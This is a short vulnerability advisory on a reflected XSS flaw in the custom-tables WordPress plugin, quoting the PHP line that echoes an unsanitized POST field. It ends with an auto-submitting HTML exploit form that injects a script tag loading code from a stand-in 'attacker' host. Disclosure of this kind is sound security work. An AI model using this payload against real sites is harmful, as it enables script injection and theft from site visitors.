Advisory #: 1198
Title: Reflected XSS in wordpress plugin custom-tables v3.9.8
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/custom-tables
Downloads: 58375
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: custom-tables
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./custom-tables/pages/support/form.php: 22: <input type="hidden" name="request_type" value="<?php echo $_POST['request_type']; ?>" /><table class='widefat' style="width: 640px;"><thead><tr><th scope='col' colspan="2"><?php _e('Required Information', 'wct'); ?></th></thead> The variable request_type appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./custom-tables/pages/support/form.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/custom-tables/pages/support/form.php method=post> <input type=hidden name=request_type value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>